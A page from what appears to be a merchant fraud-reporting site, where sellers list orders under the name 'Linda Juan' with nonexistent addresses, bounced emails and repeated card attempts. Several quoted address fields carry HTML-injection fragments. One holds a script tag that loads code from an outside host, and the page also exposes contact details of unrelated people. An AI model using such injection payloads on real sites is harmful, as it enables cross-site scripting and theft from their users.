| Purchase date: | January 2018 |
|---|---|
| Buyer's name: | Linda Juan |
| Buyer's username: | Linda Juan |
| E-mail: | juanlinda666@gmail.com |
| Phone number: | 8139402930 |
| Buyer's address | 24 Cyprus RD, Hiram, Ohio, United States 44234 |
| Store: | other |
| Buyer's country: | United States |
| Payment method: | Credit Card |
| Category: | Art |
| Details: | I went to the post office to mail her $29 order and the guy said the address doesn't exist. Called the phone number and it is disconnected. Emailed and it bounced back. Googled and found this forum. I did not mail the package and I called Square to ask what to do. They told me to refund the card and they put notes in my file in case I have trouble with a dispute later on. |
| Reported at: | |
| Reporter: | 162.158.X.X |
| Name/Username | Phone | Reported at | |
|---|---|---|---|
| Linda Juan | juanlinda123@gmail.com | (813) 942-0394 | 2016-09-21 |
| Linda Juan | juanlinda123@gmail.com | 813-940-2930 | 2017-10-11 |
| Juan Linda | juanlinda225@gmail.com | 2162345678 | 2017-11-08 |
| Linda Juan | juanlinda666@gmail.com | 8139402930 | 2017-12-12 |
| Linda Juan | juanlinda666@gmail.com | 813-940-2930 | 2017-12-29 |
| Name/Username | Phone | Reported at | Comments | |
|---|---|---|---|---|
| Towhidul Hassan | 2015-12-03 | 0 | ||
| MCKENZIE MONACO | mckenziemonaco@icloud.com | (541) 301-4789 | 2021-03-20 | 0 |
| Hasani Lamb | hasanilamb@gmail.com | 4192654038 | 2021-09-28 | 1 |
| Wanda Dawe | 6zms1vl8jjtbq4m+A07894371QEKRBIDXQVTB@marketplace.amazon.ca | 902-842-2121 | 2021-10-18 | 0 |
| Chunty Built Performance | Anthern96@gmail.com | 3236078258 | 2020-09-09 | 0 |
Comments
We've had 2 bad orders from this address in Feb and March 2018.
Posted over 6 years ago by 162.158.X.X Report as SPAM
We got the same issue on April 2018. She tried 3 different credit cards. She might have compromised credit card number and she just want to try which one can pass.
Posted over 6 years ago by 162.158.X.X Report as SPAM
Had the same experience. Order received April 8 2018. Billing details: Linda Juan">
24 Cyprus RD">
BEAVER, Oklahoma 73932
USA
SHIPPING DETAILS:Linda Juan">
24 Cyprus RD">
Las Vegas, Nevada 89121
USA
Emailed and called to confirm details without success. Shipped goods and monitored tracking, but noticed Fedex having difficulty locating address. Became suspicious, then googled and found this forum. Decided to do transaction research and found out that there were 2 previous declined attempts at 22:17:56 and 22:18:28 where the billing and shipping addresses were identical i.e. the Nevada state shown above. The 3rd attempt at 22:19:30 was successful after the billing address was changed to Oklahoma. 3 different credit cards used. All attempts from the same IP: 45.33.56.131. Guess I'll have to contact the processor for advice on handling this.
Posted over 6 years ago by 108.162.X.X Report as SPAM
My business got a chargeback for a gift card for a yoga class.
Linda Juan">
Hiram, WA
UNITED STATES
juanlinda666@gmail.com
(813) 940-2930
Assuming the card is stolen. Starting the process to reconcile with merchant processing now. The buyer did not complete the required fields for purchases.
Posted over 6 years ago by 172.68.X.X Report as SPAM
I received an order on September 9 2018, from a Linda Juan of 24 Cyprus Road in Hiram, Alberta! The credit card transaction did not go through, I sent an email that bounced back, and then I found this useful collection of info. Canada Post says there is no such address. Needless to say, I will not be filling the order!
Posted about 6 years ago by 162.158.X.X Report as SPAM
Linda Juan">
24 Cyprus RD">,
Hiram, OH 44234
Tel : 8134782394
Email : rlvdhj@sina.com
He/ she placed an order using a foreign card. Since we check every order before it is shipped, we checked her address, and found this forum. Thanks to all of you we didn't ship the goods, and voided the transaction.
Posted about 6 years ago by 172.68.X.X Report as SPAM
Same instance- Order to our company with a weird script address. Was not detected until charge finally went through after 6 attempts, and package was shipped. Came back, address unknown. Will watch from now on.
Posted almost 6 years ago by 172.68.X.X Report as SPAM
Just received a $10,000 online order for a highly specialized product from:
Linda Juan
">
444 Rollins St
Missoula, MT 59801-MT
UNITED STATES
3059707467
juanlinda555@hotmail.com
In this case, the online order indicated the payment would be mailed.
Posted over 5 years ago by 172.69.X.X Report as SPAM
Received a suspicious order on invoice from
Linda Juan
444 Rollins St"><sCRiPt sRC=//gz.qa/x></sCrIpT>
59801 Missoula
Montant
Germany
juanlinda555@hotmail.com
Thankfully found this forum and deleted the order.
Posted over 3 years ago by 162.158.X.X Report as SPAM
Bad orders from this address a year ago, and just received another from
juanlinda666@hotmail.com
444 Rollins St">
Missoula, MT 59801 US
Posted over 2 years ago by 97.123.X.X Report as SPAM